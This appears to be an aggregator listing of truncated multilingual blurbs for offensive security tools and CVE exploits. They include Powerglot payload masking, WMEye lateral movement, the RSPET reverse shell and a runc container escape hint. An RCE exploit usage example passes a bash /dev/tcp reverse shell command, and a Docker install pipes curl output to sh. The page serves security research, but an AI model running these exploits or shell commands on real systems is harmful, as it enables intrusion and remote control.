rustbuster

rustbuster 一个全面的Web模糊测试与内容发现工具 简介 查看博文：介绍 Rustbuster——一个全面的Web模糊测试与内容发现工具 下载 你可以从这里下载预编译的二进制文件。 安装 root@kitploit: installrustbuster echo "Installing latest version of Rustbuster" latestversion=curl -s https://github.com/phra/rustbuster/releases | grep "rustbuster-v" | head -n1 | cut -d'/' -f6 ech...

rustbuster

rustbuster A Comprehensive Web Fuzzer and Content Discovery Tool Introduction Check the blog post: Introducing Rustbuster — A Comprehensive Web Fuzzer and Content Discovery Tool Download You can download prebuilt binaries from here. Installation root@kitploit: installrustbuster echo "Installing...

CVE-2019-0604

Este repositorio no tiene un README...

CVE-2024-21626

CVE-2024-21626 Para una explicación detallada de esta vulnerabilidad, consulte mi artículo. Explotación Explotación mediante la ejecución de un contenedor No es necesario construir una imagen personalizada, solo ejecute un contenedor con el parámetro -w: root@kitploit: docker run -w /proc/self/fd...

powerglot

Powerglot Powerglot encodes several kind of scripts using polyglots, for example, offensive powershell scripts. It is not needed a loader to run the payload. In red-team exercises or offensive tasks, masking of payloads is usually done by using steganography, especially to avoid network level...

powerglot

Powerglot Powerglot 使用多语言混写技术对多种脚本进行编码，例如攻击性的 PowerShell 脚本。无需加载器即可运行载荷。 在红队演练或攻击任务中，通常使用隐写术来掩盖载荷，尤其是为了绕过网络层面的防护，而最常见的载荷脚本是用 PowerShell 编写的。最近的恶意软件和 APT 组织利用了其中一些能力：APT32、APT37、Ursnif、Powload、LightNeuron/Turla、Platinum APT、Waterbug/Turla、Lokibot、The Dukes（Ghost 行动）、Titanium 等。 Powerglot...

wordpress-jetpack-broken-access-control-vulnerable-application

wordpress-jetpack-broken-access-control-vulnerable-application Esta es una aplicación vulnerable para probar el exploit del control de acceso roto Jetpack 13.9.1 CVE-2024-9926. ¡ADVERTENCIA! Esta aplicación contiene vulnerabilidades de seguridad graves. ¡Ejecútela bajo su propio riesgo! Se...

WMEye

WMEye WMEye 是一个实验性工具，是在探索 Windows WMI 时开发的。该工具旨在利用 WMI 和远程 MSBuild 执行实现横向移动。它将编码/加密的 shellcode 上传到远程目标的 WMI 类属性，创建一个事件筛选器，当触发时，通过名为 LogFileEventConsumer 的特殊 WMI 类写入基于 MSBuild 的有效负载，最后远程执行该有效负载。 使用场景 使用 WMI 进行无文件横向移动，可与 Cobalt Strike 的 Execute-Assembly 配合使用 注意 ：此工具仍处于实验阶段，远未达到可用于真实渗透测试的程度。 预览 当前功能...

wifi-password

wifi-password 快速获取你的 WiFi 密码，如果需要，生成 WiFi 二维码，方便手机轻松连接。 适用于 macOS 、Linux 和 Windows 安装 使用 pip 安装 root@kitploit: $ python3 -m pip install --user wifi-password 使用 git 安装 root@kitploit: $ git clone https://github.com/sdushantha/wifi-password $ cd wifi-password $ python3 setup.py install 使用 AUR 安装 使用...

wifi-password

wifi-password Quickly fetch your WiFi password and if needed, generate a QR code of your WiFi to allow phones to easily connect. Works on macOS and Linux , Windows Installation Install using pip root@kitploit: $ python3 -m pip install --user wifi-password Install using git root@kitploit: $ git...

wordpress-jetpack-broken-access-control-exploit

wordpress-jetpack-broken-access-control-exploit This is a Python3 program that exploits Jetpack 13.9.1 broken access control vulnerability CVE-2024-9926. DISCLAIMER This tool is intended for security engineers and appsec people for security assessments. Please use this tool responsibly. I do not...

CVE-2009-4623

Advanced Comment System 1.0 - Ejecución Remota de Comandos RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Ejemplos root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

john

John the Ripper This is the community-enhanced, "jumbo" version of John the Ripper. It has a lot of code, documentation, and data contributed by jumbo developers and the user community. It is easy for new code to be added to jumbo, and the quality requirements are low, although lately we've start...

metateta

Metateta Metateta 自动化工具 用于使用 Metasploit 扫描和利用网络协议 用于大型网络更快速的渗透测试 你可以做什么 使用所有 Metasploit 模块扫描特定网络协议，如 smb、smtp、snmp 针对特定网络协议运行所有辅助模块 针对特定网络协议运行所有可能的 Metasploit 漏洞利用 不建议在实际渗透测试中使用 可以对单个目标、网络甚至包含目标的文本文件运行 使用示例 root@kitploit: run.py -R 192.168.1.15-255 -p smb -x exploit run.py -r 192.168.1.15 -p smtp...

Kali-Setup

Kali 自定义脚本 此脚本创意最初来自 g0tmi1k https://github.com/g0tmi1k/os-scripts。我不声称对脚本的基础部分拥有功劳！ 话虽如此，我添加了大量的工具，并修复了原版中的许多错误。我会维护它，并按照我的喜好保持更新。 用 Python 重写为 kali.py。现在运行和维护都非常简单。 请根据个人喜好编辑脚本中开头的几个变量 运行：python3 ./kali.py 由 Raikia 编辑 Kali 截图...

RSPET

RSPET RSPET Reverse Shell and Post Exploitation Tool es un reverse shell basado en Python equipado con funcionalidades que asisten en un escenario de post-explotación. AVISO: Este software se proporciona con fines educativos y de Penetration Testing y como prueba de concepto. El/los desarrollador...

CVE-2019-19653

CVE-2019-19653 Divulgación de información en Chevereto Core = 3.13.5. Los archivos de registro del importador masivo están disponibles para que cualquiera los vea y se pueden enumerar fácilmente root@kitploit: /app/importer/jobs/9/process.txt /app/importer/jobs/9/errors.txt...

vulhub

Vulhub 是一个开源的、即开即用的漏洞靶场环境集合。无需 Docker 基础，只需一条命令即可快速启动用于安全研究、学习或演示的漏洞环境。 快速开始 安装 Docker （以 Ubuntu 24.04 为例）： root@kitploit: curl -s https://get.docker.com/ | sh systemctl start docker...

network-threats-taxonomy

网络威胁与工具分类法 基于机器学习的入侵检测系统由于缺乏准确代表网络流量及其相关威胁的数据集而难以评估。在本项目中，我们尝试通过提出两个分类法——“入侵检测系统设计技术、网络威胁与数据集分类法及综述”和“用于入侵检测系统的恶意流量分类法”——来解决这一问题，对威胁进行分类并评估当前数据集。结果表明，目前大量已发表的研究使用过时的数据集和过时的威胁来训练入侵检测算法。为此，我们提供了威胁分类法的源代码，使其他研究人员能够贡献和修改它。 该分类法是阿伯泰大学、思克莱德大学、海军学院研究所和米德尔塞克斯大学（毛里求斯校区）之间的合作成果。 分类法结构 该分类法根据以下维度对每种网络威胁进行分类...

CVE-2020-15778

Informe sobre el CVE id CVE-2020-15778. Descubierto por: Chinmay Pandya Dirección de correo electrónico: [email protected] LinkedIn: www.linkedin.com/in/chinmay-pandya Título de la vulnerabilidad: scp en OpenSSH 8.3p1 permite inyección de eval. Producto: Openssh...